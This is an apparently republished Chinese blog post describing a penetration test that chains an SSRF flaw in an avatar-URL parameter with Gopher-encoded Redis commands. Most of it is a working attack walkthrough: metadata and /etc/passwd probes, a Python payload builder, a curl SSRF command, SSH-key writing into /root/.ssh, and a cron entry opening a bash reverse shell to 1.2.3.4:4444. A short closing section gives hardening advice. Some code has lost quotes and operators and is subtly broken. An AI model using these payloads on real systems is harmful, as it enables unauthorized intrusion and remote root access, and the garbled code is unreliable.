从一次内部渗透测试说起:我是如何利用SSRF漏洞,通过Gopher协议拿下Redis的
渗透测试实战SSRF漏洞到Redis未授权访问的完整攻击链剖析在一次常规的企业内部渗透测试中我发现了一个看似普通的SSRF漏洞却意外打开了通往内网核心系统的大门。这个故事不是教科书式的漏洞复现而是一个真实攻击者视角下的完整技术探索——从最初的信息收集到最终的权限获取中间充满了各种技术细节和实战技巧。1. 漏洞发现与初步利用那是一个普通的Web应用在用户头像上传功能处系统允许通过URL引用外部图片。当我尝试修改这个URL参数时发现服务器确实会发起对应的请求——典型的SSRF漏洞特征。关键测试步骤尝试访问http://169.254.169.254/latest/meta-data/确认云服务元数据接口使用file:///etc/passwd探测本地文件读取能力通过DNS重绑定技术绕过部分防护措施注意现代WAF通常会对这些常见测试payload进行拦截需要不断变换测试手法在确认漏洞存在后我开始对内网服务进行探测。通过Burp Suite的Intruder模块我构造了如下扫描字典GET / HTTP/1.1 Host: 192.168.1.{NUM} Connection: close2. 内网服务发现与协议选择经过几轮扫描我在内网发现了几个有趣的开放端口端口号可能服务利用价值评估6379Redis★★★★★3306MySQL★★☆☆☆8080HTTP服务★★★☆☆Redis服务引起了我的特别注意因为它通常以root权限运行默认配置下可能允许未授权访问提供了直接写入文件的能力协议选择考量HTTP协议通用但交互复杂Dict协议简单但功能有限Gopher协议灵活且支持完整TCP交互最终我选择了Gopher协议因为它允许构造任意TCP流量能够完整模拟Redis客户端通信。3. Gopher协议深度解析Gopher是一种古老的网络协议但在SSRF攻击中却异常强大。它的URL格式如下gopher://hostname:port/gophertypepath对于Redis通信我们需要特别注意几点Redis使用RESP协议REdis Serialization Protocol每条命令需要以\r\n结尾批量字符串使用$前缀声明长度一个典型的Redis命令在Gopher URL中的编码示例import urllib.parse command *1\r\n$4\r\nPING\r\n encoded urllib.parse.quote(command) print(fgopher://127.0.0.1:6379/_{encoded}) # 注意下划线前缀4. Redis利用实战从SSRF到RCE通过SSRF漏洞我构造了以下攻击链信息收集curl http://vuln-site.com/avatar?urlgopher://127.0.0.1:6379/_*1%0D%0A$4%0D%0AINFO%0D%0A写入SSH公钥# 生成攻击payload key open(/home/user/.ssh/id_rsa.pub).read() cmd f *3\r $3\r SET\r $1\r x\r ${len(key)}\r {key}\r *4\r $6\r CONFIG\r $3\r SET\r $3\r dir\r $11\r /root/.ssh\r *4\r $6\r CONFIG\r $3\r SET\r $10\r dbfilename\r $15\r authorized_keys\r *1\r $4\r SAVE\r 计划任务写入cmd *3\r $3\r SET\r $1\r x\r $48\r */1 * * * * bash -i /dev/tcp/1.2.3.4/4444 01\r *4\r $6\r CONFIG\r $3\r SET\r $3\r dir\r $16\r /var/spool/cron\r *4\r $6\r CONFIG\r $3\r SET\r $10\r dbfilename\r $4\r root\r *1\r $4\r SAVE\r 在实际操作中我遇到了几个关键挑战URL编码的特殊处理Redis协议格式的严格要求内网防火墙规则限制5. 防御措施与检测建议针对这类攻击企业可以采取以下防护措施网络层防护严格限制内网服务间的访问权限对Redis等关键服务实施网络隔离监控异常的内网流量模式应用层防护彻底禁用不必要的URL协议如gopher、dict实施严格的输入验证和输出编码使用白名单机制限制SSRF可访问的地址范围Redis安全配置# 必须修改的redis.conf配置项 bind 127.0.0.1 protected-mode yes requirepass 强密码 rename-command CONFIG 在防御这类攻击时最重要的是理解攻击者的思维方式和工具链。只有站在攻击者的角度思考才能构建真正有效的防御体系。
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2607500.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!